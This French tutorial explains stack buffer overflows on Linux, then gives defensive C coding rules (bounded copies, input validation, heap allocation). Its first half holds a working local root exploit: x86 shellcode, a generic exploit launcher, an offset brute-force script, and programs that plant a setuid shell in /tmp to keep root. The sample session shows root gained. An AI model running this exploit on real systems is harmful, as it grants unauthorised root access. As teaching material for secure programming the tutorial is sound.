Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
Christophe Blaess est un ing�nieur ind�pendant dans le domaine de l'a�ronautique Passionn� par Linux, il effectue l'essentiel de son travail sur ce syst�me, et assure la coordination des traductions des pages de manuel publi�es par le Linux Documentation Project.
Christophe Grenier est �tudiant en 5�me ann�e � l'ESIEA, o� il est �galement administrateur syst�me. La s�curit� informatique est l'une de ses passions.
Frédéric Raynal utilise Linux depuis des ann�es parce qu'il ne pollue pas, qu'il est garanti sans hormones, OGM ou farines animales... il ne r�clame que de la sueur et de l'astuce.
Dans notre pr�c�dent article, nous avons donc obtenu un fragment de programme tenant en une cinquantaine d'octets, capable de faire d�marrer un shell ou de se terminer en cas d'�chec. Il nous faut � pr�sent arriver � ins�rer ce code au sein de l'application que nous voulons attaquer. Cela s'effectue en �crasant l'adresse de retour d'une fonction pour la remplacer par l'adresse de notre shellcode, ce qui se produit en for�ant le d�bordement d'une variable automatique, allou�e dans la pile du processus.
Par exemple, dans le programme suivant, nous recopions dans un buffer de
500 octets la cha�ne de caract�res pass�e en premier argument sur la
ligne de commande. Cette copie s'effectue sans v�rifier que la taille du
buffer ne soit pas d�pass�e. Comme nous le verrons plus tard, il aurait
simplement fallu employer la fonction strncpy()
pour �viter ce
probl�me.
/* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); }
buffer
est une variable automatique, l'espace occup� par les
500 octets est r�serv� dans la pile d�s l'entr�e dans la fonction
main()
. Lors de l'ex�cution du programme vulnerable
avec
un argument long de plus de 500 caract�res, les donn�es d�bordent
du buffer, et envahissent la pile du processus. Comme nous l'avons vu
pr�c�demment, la pile contient l'adresse de la prochaine instruction
� ex�cuter (appel�e commun�ment adresse de retour). Pour
exploiter cette faille de
s�curit�, il suffit de remplacer l'adresse de retour de la fonction par l'adresse
o� se situe le shellcode que nous voulons ex�cuter. Ce shellcode est ins�r�
dans le corps m�me du buffer, suivi de l'adresse qu'il occupera en m�moire.
Obtenir l'adresse m�moire du shellcode constitue une op�ration d�licate. Nous
devons d�couvrir le d�calage existant entre le registre
%esp
, qui pointe sur le sommet de la pile, et l'adresse du
shellcode. De fa�on � disposer d'une certaine marge, le
d�but du buffer est rempli
avec l'instruction assembleur NOP
; il s'agit d'une instruction
neutre cod�e sur un octet, n'ayant strictement aucun effet.
Ainsi, lorsque l'adresse de d�part pointe en de�� du d�but r�el du shellcode, le
processeur passera de NOP
en NOP
jusqu'� atteindre
effectivement notre code. Pour optimiser nos chances, nous pla�ons le shellcode
au milieu du buffer, suivi de l'adresse de d�marrage r�p�t�e jusqu'� la fin,
et pr�c�d� d'un bloc de NOP
. La figure 1 illustre la
construction du buffer qui servira d'exploit.
La figure 2 d�crit l'�tat de la m�moire avant puis apr�s le d�bordement. Celui-ci provoque l'�crasement des donn�es situ�es au-del� du buffer. Elles sont alors remplac�es par l'adresse du shellcode en m�moire, c'est-�-dire l'adresse du d�but du buffer exploit�.
![]() |
![]() |
Toutefois il existe un autre probl�me li� � l'alignement des variables
dans la pile. En effet, une adresse �tant stock�e sur
plusieurs octets, l'alignement au sein de la pile ne convient pas toujours.
Cet inconv�nient se r�sout en "t�tonnant" sur l'alignement �
utiliser. Comme notre processeur utilise des mots de 4 octets,
l'alignement vaut 0, 1, 2 ou 3 octet(s) (voir l'article 183 sur l'organisation de
la pile pour de plus amples d�tails). Sur la figure 3, les parties
gris�es correspondent aux 4 octets �crits. Seul le premier cas, o�
l'adresse de retour est compl�tement �cras�e, fonctionne. Les autres
conduisent � des erreurs type segmentation violation
ou
illegal instruction
.
Cette recherche empirique
fonctionne parfaitement car la puissance des ordinateurs actuels nous
autorise � faire ces tests peu co�teux.
Nous allons �crire un petit programme qui lance une application vuln�rable en lui transmettant un buffer qui fera d�border la pile. Ce programme dispose de plusieurs options pour cadrer la position du shellcode en m�moire, choisir le programme � ex�cuter. Cette version, inspir�e de l'article d'Aleph One dans le num�ro 49 du magazine phrack, est disponible sur le site de Christophe Grenier.
Comment passer notre buffer ainsi pr�par� � l'application vis�e ?
Classiquement, il s'agit d'un param�tre en ligne de commande comme dans le cas de
vulnerable.c
ou d'une variable d'environnement.
Le d�passement a parfois lieu � partir de lignes saisies par
l'utilisateur, ce qui est plus difficile � automatiser, ou de donn�es
lues dans un fichier.
Le programme generic_exploit.c
commence par allouer le
buffer de la taille d�sir�e, y copie le shellcode et assure le remplissage d�crit plus
haut avec les adresses et les codes NOP. Ensuite il pr�pare un tableau d'arguments et
lance l'application cible en utilisant l'instruction
execve()
qui remplace le processus courant par celui invoqu�.
Les param�tres de generic_exploit
sont la taille du
buffer � exploiter (un peu plus que sa taille pour �craser l'adresse
de retour), l'offset en m�moire, l'alignement. On indique si on passe
le buffer via une variable d'environnement (var
) ou en
ligne de commande (novar
).
L'argument force/noforce
permet l'appel ou non � la
fonction setuid()/setgid()
dans le shellcode.
/* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } }
Pour tirer profit de vulnerable.c
, nous devons disposer d'un
buffer plus grand que celui pr�vu par l'application. Nous choisissons par
exemple 600 octets au lieu des 500 pr�vus. La recherche du d�calage
par rapport au sommet de la pile se fait par essais
successifs. L'adresse, construite par l'instruction addr =
get_sp() + offset;
et dont le but est d'�craser l'adresse du retour, est obtenue ... par
chance !
L'op�ration effectu�e repose sur l'heuristique que le registre
%esp
ne bougera pas trop entre le processus courant et
celui appel� en fin de programme. En pratique, rien n'est moins s�r :
plusieurs �v�nements peuvent venir modifier l'�tat de la pile entre le
moment o� ce calcul est effectu� et celui o� le programme � exploiter
est appel�.
Ici, nous
sommes arriv�s � d�clencher un d�bordement exploitable avec un offset de
-1900 octets. Naturellement pour que l'exp�rience soit compl�te, la cible
vulnerable
doit �tre Set-UID root.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitDans le premier cas (
noforce
), notre uid
ne change pas. En revanche,
nous disposons d'un nouvel euid
qui nous conf�re tous
les droits. Ainsi, m�me si en �ditant le fichier
/etc/passwd
avec vi
, ce dernier affirme
qu'il est en lecture seule, toutes les modifications fonctionnent tr�s
bien : il faut juste forcer la sauvegarde avec w!
:)
Le param�tre force
permet d'avoir d�s le d�but uid=euid=0
.
Pour rechercher automatiquement les valeurs de d�calage assurant un d�bordement, l'utilisation d'un petit script shell rend les choses encore plus faciles :
#! /bin/sh # cherche_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) doneDans notre exploitation, nous ne nous sommes pas pr�occup�s des problêmes potentiels d'alignement. Il est donc tout � fait possible que cet exemple ne fonctionne pas avec les m�mes valeurs chez vous, voire pas du tout � cause de l'alignement :( Pour ceux qui veulent quand m�me essayer, il faut changer le param�tre d'alignement � 1, 2 ou 3 (ici, 0). Certains syst�mes ne supportent pas l'�criture sur des zones de m�moires qui ne correspondent pas � un mot complet, mais ce probl�me n'existe pas sous Linux :)
Malheureusement, il arrive que le shell obtenu soit inutilisable car il se termine tout seul ou d�s l'appuie sur une touche. Un moyen, � peine d�tourn�, permet de conserver ces privil�ges si laborieusement acquis.
/* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; }
Puisque notre exploit ne peut ex�cuter qu'une seule chose � la fois,
nous allons transf�rer, � l'aide du programme
set_run_shell
, les droits obtenus sur le programme
run_shell
. Ce dernier nous offrira alors le shell esp�r�.
/* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); }L'option
-i
correspond �
interactif
. Pourquoi ne pas donner directement les droits
� un shell ? Tout simplement parce que le bit s
n'est pas
effectif sur tous les shells. Les versions r�centes v�rifient que
l'uid est bien �gale � l'euid, idem pour gid et egid.
Ainsi bash2
et tcsh
incorporent cette ligne
de d�fense mais ni bash
, ni ash
n'en
disposent.
Cette m�thode doit �tre raffin�e dans le cas o� la partition sur
laquelle run_shell
(ici,
/tmp
) est mont�e en nosuid
ou
noexec
.
Disposant d'un programme Set-UID contenant un bogue de d�bordement de buffer, ainsi que de son code source, nous sommes donc capables de pr�parer une attaque permettant d'ex�cuter n'importe quel code arbitraire sous l'identit� du propri�taire du fichier. Notre propos toutefois vise � d'�viter les failles de s�curit�. Nous allons donc examiner quelques r�gles � respecter pour �chapper aux d�bordements de buffer.
La premi�re r�gle � respecter rel�ve simplement d'une question de bon sens : il est indispensable de toujours v�rifier avec soin les indices utilis�s pour manipuler un tableau. Un balayage maladroit du type :
for (i = 0; i <= n; i ++) { table [i] = ...contient probablement une erreur � cause du signe
<=
au lieu
de <
car un acc�s a lieu � un emplacement situ�
apr�s la fin de
la table. Si la v�rification est ais�e lors d'un parcours dans ce sens, le
balayage des indices dans l'ordre d�croissant n�cessite une attention plus
soutenue pour �tre s�r de ne pas d�passer z�ro "par en-dessous".
Hormis les cas triviaux de parcours for(i=0; i<n ; i++)
,
il est indispensable de v�rifier
� plusieurs reprises (voire de faire v�rifier par quelqu'un d'autre)
l'algorithme employ�, surtout � l'approche des extr�mit�s de l'intervalle
parcouru.
Le m�me type de probl�me se pose avec les cha�nes de caract�res, pour lesquelles il faut toujours penser � allouer un octet suppl�mentaire pour le caract�re nul final. Son oubli constitue l'un des bogues les plus fr�quemment rencontr�s par les d�butants, et difficile � diagnostiquer puisqu'il peut passer longuement inaper�u en raison de l'alignement des variables.
Il ne faut pas sous-estimer le r�le des indices d'un tableau dans la s�curit� d'une application. On a montr� (voir Phrack num�ro 55) qu'un seul octet de d�bordement pouvait suffire pour cr�er une faille de s�curit�, en ins�rant le shellcode dans une variable d'environnement par exemple.
#define TAILLE_BUFFER 128 void foo(void) { char buffer[TAILLE_BUFFER+1]; /* fin de cha�ne */ buffer[TAILLE_BUFFER] = '\0'; for (i = 0; i<TAILLE_BUFFER; i++) buffer[i] = ... }
strcpy(3)
copie dans une cha�ne de destination le contenu de la cha�ne
originale jusqu'� cet octet nul compris. Dans certaines circonstances, ce
comportement devient dangereux ; nous avons vu que le code suivant
pr�sente une faille de s�curit� :
#define LG_IDENT 128 int fonction (const char * nom) { char identite [LG_IDENT]; strcpy (identite, nom); ... }Pour �viter ce genre de probl�mes, il existe des fonctions dont la port�e est limit�e en longueur. Ces fonctions contiennent un `
n
' au milieu de leur nom,
par exemple strncpy(3)
en remplacement de strcpy(3)
,
strncat(3)
de strcat(3)
ou m�me strnlen(3)
de
strlen(3)
.
La limitation impos�e par strncpy(3)
a toutefois des effets de bord auxquels
il faut prendre garde : lorsque la cha�ne source est plus courte que la destination,
cette derni�re sera compl�t�e par des caract�res nuls jusqu'� la limite n, ce
qui p�nalise un peu l'application en terme de performances. � l'inverse, si la source
est plus longue, elle sera tronqu�e pour remplir la destination mais cette derni�re
cha�ne ne sera pas termin�e par un caract�re nul. Il est donc indispensable de
l'ajouter manuellement. La routine pr�c�dente r��crite en respectant ceci
devient alors :
#define LG_IDENT 128 int fonction (const char * nom) { char identite [LG_IDENT+1]; strncpy (identite, nom, LG_IDENT); identite [LG_IDENT] = '\0'; ... }Naturellement, les m�mes principes s'appliquent aux routines manipulant des caract�res larges, en pr�f�rant par exemple
wcsncpy(3)
�
wcscpy(3)
ou wcsncat(3)
� wcscat(3)
.
Le programme s'allonge certes un peu, mais la s�curit� s'accro�t �galement.
Tout comme strcpy()
, strcat(3)
ne v�rifie pas la
taille des buffers. La fonction strncat(3)
ajoute
elle-m�me un caract�re de fin de cha�ne si elle dispose de la place
n�cessaire. Le remplacement de strcat(buffer1, buffer2);
par strncat(buffer1, buffer2, sizeof(buffer1)-1);
suffit
� �limer les risques.
La fonction sprintf()
permet de recopier des donn�es
format�es dans
une cha�ne. Elle aussi dispose d'une version permettant de contr�ler
le nombre d'octets � copier : snprintf()
. Cette
fonction renvoie le nombre de caract�res �crits dans la cha�ne
destinataire (sans comptabiliser le `\0'). Tester cette valeur de
retour permet donc de savoir si l'�criture s'est d�roul�e
correctement :
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* D�bordement */ ... }
Bien �videmment, ces pr�cautions ne valent plus rien d�s que l'utilisateur obtient le contr�le sur le nombre d'octets � copier. Une telle faille dans BIND (Berkeley Internet Name Daemon) fut � l'origine de nombreux piratages :
struct hosten *hp; unsigned long adresse; ... /* copie d'une adresse */ memcpy(&adresse, hp->h_addr_list[0], hp->h_length); ...Normalement, ceci devrait toujours copier 4 octets. Cependant, s'il est possible de modifier
hp->h_length
, alors la pile
devient � son tour modifiable. Il est donc indispensable de v�rifier
la longueur des donn�es avant de copier :
struct hosten *hp; unsigned long adresse; ... /* test */ if (hp->h_length > sizeof(adresse)) return 0; /* copie d'une adresse */ memcpy(&adresse, hp->h_addr_list[0], hp->h_length); ...Certaines circonstances n'autorisent toutefois pas cette troncature (chemin d'acc�s, nom d'h�te, URL, ...) et des mesures doivent alors �tre prises en amont dans le programme d�s la saisie des donn�es.
Tout d'abord cela concerne les routines de saisie de
cha�ne de caract�res. Avec ce qui pr�c�de, il est inutile de
s'appesantir sur le fait qu'il ne
faut jamais utiliser gets(char *chaine)
puisqu'elle ne
v�rifie pas la longueur de la
cha�ne saisie (note des auteurs : il serait bon que cette routine
soit totalement interdite
par l'�diteur de liens pour les programmes nouvellement compil�s).
Il existe des dangers plus insidieux se dissimulant dans les saisies avec
scanf()
. La ligne
scanf ("%s", chaine)par exemple comporte autant de risques que
gets(char *chaine)
, mais
saute moins yeux. Toutefois, les fonctions de la famille de
scanf()
offrent un m�canisme de contr�le sur la taille
des donn�es :
char buffer[256]; scanf("%255s", buffer);Le formatage limite le nombre de caract�re recopi� dans
buffer
� 255.
Par ailleurs, scanf()
r�injectant dans le flux d'entr�e
les caract�res ne lui convenant pas (par exemple une lettre alors
qu'il attend un chiffre), les risques d'erreurs de programmation
engendrant des blocages sont relativement �lev�s.
En C++, le flux cin
remplace les
fonctions classiques utilis�es en C (bien que celles-ci restent
utilisables). Le programme suivant remplit un buffer :
char buffer[500]; cin>>buffer;Comme vous le constatez, aucun test n'est r�alis� ! Nous sommes ici dans une situation similaire � l'utilisation de
gets(char *chaine)
en
C : une porte est grande ouverte. La fonction membre
ios::width()
permet de fixer le nombre maximal de
caract�re � lire.
La lecture des donn�es n�cessite deux �tapes.
Une premi�re phase
consiste � r�cup�rer la cha�ne de caract�res � l'aide de fgets(char *chaine, int taille, FILE stream)
, qui
limite la taille de la zone m�moire employ�e. Dans un second
temps, les donn�es lues sont trait�es, avec sscanf()
par exemple.
La premi�re phase peut �galement contenir d'autres op�rations, comme encadrer
fgets(char *chaine, int taille, FILE stream)
avec une
boucle allouant automatiquement la m�moire n�cessaire,
sans imposer de limite arbitraire. L'extension
Gnu getline()
r�alise cette op�ration. Cette phase peut
aussi inclure une validation des
caract�res saisis, avec isalnum()
,
isprint()
, etc. La fonction strspn()
permet la mise en place de filtres efficaces et vari�s (cf. juste
apr�s ... normalement). Le programme perd un peu en rapidit� de
traitement, mais les parties les plus sensibles du code sont ainsi
prot�g�es par un excellent gilet pare-balles contre les donn�es
litigieuses en entr�e.
Les saisies directes de donn�es ne sont pas les seuls points d'entr�e susceptibles d'�tre attaqu�s. Les fichiers de donn�es manipul�s par le logiciel sont naturellement vuln�rables, mais le code �crit pour leur lecture est g�n�ralement plus robuste que pour les saisies, les programmeurs ayant souvent une m�fiance intuitive vis-�-vis du contenu des fichiers fournis par l'utilisateur.
Il existe aussi un autre point d'appui fr�quemment employ� par les
attaques de d�bordement de buffer : les cha�nes d'environnement. Il ne
faut pas oublier qu'un programmeur peut configurer totalement
l'environnement d'un processus avant de le lancer.
Les conventions qui veulent qu'une cha�ne d'environnement soit
toujours du type "NOM=VALEUR
" n'ont aucune valeur face �
un utilisateur mal intentionn�. L'utilisation de la routine
getenv()
n�cessite quelques pr�cautions,
notamment en ce qui concerne la longueur de la cha�ne renvoy�e
(arbitrairement longue), et son contenu (o� l'on peut rencontrer
n'importe quel
caract�re y compris `=
'). La cha�ne renvoy�e par
getenv()
sera trait�e comme celle fournie par
fgets(char *chaine, int taille, FILE stream)
, en
surveillant sa longueur et en la validant caract�re par caract�re.
La mise en place de tels filtres fonctionne encore une fois comme l'acc�s � un ordinateur : par d�faut, il faut tout interdire ! Ensuite, certaines autorisations sont d�livr�es :
#define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* R�cup�ration des donn�es */ data = getenv(var); /* Filtrage Rem : il faut bien sur que le caract�re de remplacemement soit dans la liste des caract�res autoris�s !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; }
La fonction strspn()
facilite ceci : elle recherche le
premier caract�re qui n'est pas contenu dans l'ensemble sp�cifi�. Elle
retourne la longueur de la cha�ne (commen�ant en position 0)
contenant uniquement des caract�res valides. Il ne faut absolument
jamais utiliser, dans cette optique, la contrapos�e de cette fonction,
strcspn
, car la d�marche revient alors � sp�cifier les
caract�res interdits puis � s'assurer qu'aucun n'est pr�sent dans la
saisie.
Le principe du d�bordement de buffer repose sur l'�crasement du contenu de la pile de mani�re � modifier l'adresse de retour d'une fonction. L'attaque porte sur des donn�es automatiques, allou�es uniquement dans la pile. Une mani�re de d�placer ce probl�me est de remplacer syst�matiquement les tables de caract�res allou�es dans la pile par des variables dynamiques se trouvant dans le tas. Pour cela on remplace les s�quences
#define LG_CHAINE 128 int fonction (...) { char chaine [LG_CHAINE]; ... return (resultat); }par :
#define LG_CHAINE 128 int fonction (...) { char *chaine = NULL; if ((chaine = malloc (LG_CHAINE)) == NULL) return (-1); memset(chaine,'\0',LG_CHAINE); [...] free (chaine); return (resultat); }Ces lignes surchargent le code de mani�re importante et induisent des risques de fuite de m�moire, mais il faut profiter de ces modifications pour revoir quelque peu la conception en �vitant d'imposer des limites arbitraires de longueur. Notons qu'il ne faut pas s'imaginer obtenir le m�me r�sultat de mani�re plus simple avec la fonction
alloca()
. Celle-ci alloue ses donn�es dans la
pile du processus, ce qui nous ram�ne au m�me probl�me qu'avec les variables
automatiques. Le fait d'initialiser la m�moire �
z�ro avec memset()
permet d'�viter
quelques probl�mes relatifs � l'utilisation de variables
non initialis�es. L� encore, cela ne corrige pas le
probl�me, on rend simplement l'exploitation moins triviale. Pour ceux
qui veulent poursuivre sur le sujet, ils peuvent consulter l'article
sur les Heap Overflows de w00w00.
Enfin, signalons quand m�me qu'il est possible dans certaines circonstances de
supprimer rapidement une faille de s�curit� avec un minimum de
modifications en ajoutant le mot cl� static
devant la
d�claration du buffer. Celui-ci se retrouve alors allou� dans le
segment de donn�es loin de la pile du processus.
Il devient impossible d'obtenir un shell mais le
probl�me de DoS demeure. Bien entendu ceci ne fonctionne pas si la routine
est appel�e r�cursivement. Il faut consid�rer ce rem�de comme un palliatif
temporaire, servant juste � �liminer dans l'urgence une faille de s�curit� en
intervenant au minimum sur le code.